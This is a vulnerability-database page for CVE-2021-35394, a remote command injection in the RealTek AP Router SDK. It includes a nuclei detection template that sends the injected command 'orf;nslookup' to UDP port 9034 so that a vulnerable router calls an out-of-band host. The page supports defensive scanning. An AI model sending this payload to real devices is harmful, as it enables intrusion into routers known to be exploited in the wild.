Browse / CVEs / CVE-2021-35394
CVE-2021-35394
RealTek AP Router SDK - Arbitrary Command Injection
Exploited in the wild. Listed by CISA on 2021-12-10; known to be used by ransomware.
criticalseverity
99.9%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
The SDK exposes a UDP server that allows remote execution of arbitray commands.
Impact
Attackers can execute arbitrary commands remotely through the exposed UDP server port by sending specially crafted commands to RealTek AP Router SDK devices.
Fix
Apply the latest security patches or updates provided by RealTek.
How to confirm it
Positive when: contains in interactsh_protocol "dns"Run it with nuclei: nuclei -id CVE-2021-35394 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-35394
info:
name: RealTek AP Router SDK - Arbitrary Command Injection
author: king-alexander
severity: critical
remediation: Apply the latest security patches or updates provided by RealTek.
description: The SDK exposes a UDP server that allows remote execution of arbitray commands.
impact: |
Attackers can execute arbitrary commands remotely through the exposed UDP server port by sending specially crafted commands to RealTek AP Router SDK devices.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-35394
- https://blogs.juniper.net/en-us/threat-research/realtek-cve-2021-35394-exploited-in-the-wild
classification:
epss-score: 0.99873
epss-percentile: 0.99963
tags: cve,cve2021,realtek,rce,kev,vkev,vuln
javascript:
- pre-condition: |
isUDPPortOpen(Host,Port);
code: |
let packet = bytes.NewBuffer();
let message = `orf;nslookup ${OAST}`
let data = message;
packet.WriteString(data)
let c = require("nuclei/net");
let conn = c.Open('udp', `${Host}:${Port}`);
conn.SendHex(packet.Hex());
args:
Host: "{{Host}}"
Port: 9034
OAST: "{{interactsh-url}}"
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"References
- https://nvd.nist.gov/vuln/detail/CVE-2021-35394
- https://blogs.juniper.net/en-us/threat-research/realtek-cve-2021-35394-exploited-in-the-wild
Use this check only on systems you are authorised to test. Where the data comes from